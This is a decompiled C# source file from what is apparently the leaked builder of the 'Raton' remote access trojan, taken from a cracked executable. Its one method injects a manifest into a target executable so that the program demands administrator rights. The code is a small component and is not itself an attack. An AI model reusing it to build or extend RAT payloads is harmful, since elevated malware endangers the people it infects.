Files
raton4.0-source/Raton RAT/ManifestHelper.cs
T
2026-08-27 11:23:13 -06:00

34 lines
1.4 KiB
C#

// Decompiled with JetBrains decompiler
// Type: ManifestHelper
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
using System;
using System.Text;
using System.Xml;
using Vestris.ResourceLib;
#nullable disable
public static class ManifestHelper
{
public static void InjectAdminManifest(string exePath)
{
string str = "<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n<assembly manifestVersion=\"1.0\" xmlns=\"urn:schemas-microsoft-com:asm.v1\">\r\n <trustInfo xmlns=\"urn:schemas-microsoft-com:asm.v3\">\r\n <security>\r\n <requestedPrivileges>\r\n <requestedExecutionLevel level=\"requireAdministrator\" uiAccess=\"false\" />\r\n </requestedPrivileges>\r\n </security>\r\n </trustInfo>\r\n</assembly>";
try
{
Encoding.UTF8.GetBytes(str);
ManifestResource manifestResource = new ManifestResource();
manifestResource.Manifest = new XmlDocument();
manifestResource.Manifest.LoadXml(str);
manifestResource.Name = new ResourceId(1U);
manifestResource.Language = (ushort) 0;
manifestResource.SaveTo(exePath);
}
catch (Exception ex)
{
Console.WriteLine("Manifest error: " + ex.Message);
}
}
}